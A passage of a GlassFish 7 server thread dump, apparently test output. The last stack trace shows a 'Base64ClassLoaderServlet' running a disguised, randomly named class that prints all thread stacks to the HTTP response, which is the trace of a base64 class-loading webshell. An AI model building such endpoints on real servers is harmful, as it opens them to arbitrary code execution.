java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"JarFileManager-1" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39b36186 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785503416314" #49 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@41bf6aff + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GlassFishLogHandler log pump" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@ee39385 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:155) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LoggingPumpThread.publishBatchFromBuffer(LoggingPumpThread.java:79) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LoggingPumpThread.run(LoggingPumpThread.java:66) + +"admin-listener(4)" #80 daemon [WAITING] on java.lang.Object@5ab58e8f + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785503416319" #50 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@41bf6aff + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixDispatchQueue" #23 daemon [WAITING] on java.util.ArrayList@7236daf6 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at OSGi//org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at OSGi//org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at OSGi//org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785503416313" #48 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@41bf6aff + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #96 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1735) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-2" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1(2)" #62 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6bc39a56 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hk2-asyncrunlevelcontext" #47 daemon [WAITING] on java.util.TaskQueue@2924d1a2 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"deployment-jar-scanner" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c9edb17 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #1" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener-kernel(1) SelectorRunner" #83 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.11/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.11/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"RMI TCP Connection(2)-192.168.215.4" #127 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:280) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:304) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:346) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:796) + at java.base@21.0.11/java.net.Socket$SocketInputStream.read(Socket.java:1099) + at java.base@21.0.11/java.io.BufferedInputStream.fill(BufferedInputStream.java:291) + at java.base@21.0.11/java.io.BufferedInputStream.implRead(BufferedInputStream.java:325) + at java.base@21.0.11/java.io.BufferedInputStream.read(BufferedInputStream.java:312) + at java.base@21.0.11/java.io.FilterInputStream.read(FilterInputStream.java:71) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:580) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:844) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:721) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda/0x0000000301549e30.run(Unknown Source) + at java.base@21.0.11/java.security.AccessController.executePrivileged(AccessController.java:778) + at java.base@21.0.11/java.security.AccessController.doPrivileged(AccessController.java:400) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:720) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"AutoDeployer" #106 daemon [TIMED_WAITING] on java.util.TaskQueue@5243c543 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"deployment-jar-scanner" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c9edb17 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"DestroyJavaVM" #110 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-listener-1-expirer(1)" #67 daemon [TIMED_WAITING] on java.lang.Object@42068084 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-98" #98 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3562b6b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1-kernel(1) SelectorRunner" #68 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-9" #37 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"fileinstall-/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/bundles/" #125 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"FelixResolver-4" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Logging pump for 'jakarta.enterprise.logging.stdout'" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dfc49b1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:155) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LoggingOutputStream$Pump.logAllPendingRecordsOrWait(LoggingOutputStream.java:197) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LoggingOutputStream$Pump.run(LoggingOutputStream.java:159) + +"EventAdminAsyncThread #7" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"DynamicReloader" #107 daemon [TIMED_WAITING] on java.util.TaskQueue@1839bb8f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"http-listener-1(1)" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.11/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at org.springframework.HCJNh.ErrorIooneHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.11/java.lang.String.valueOf(String.java:4454) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:265) + at WebappClassLoader//Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1368) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:302) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:172) + at WebappClassLoader//ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:214) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:172) + at WebappClassLoader//UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:214) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:172) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:123) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:563) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:504) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:71) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:121) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:293) + at 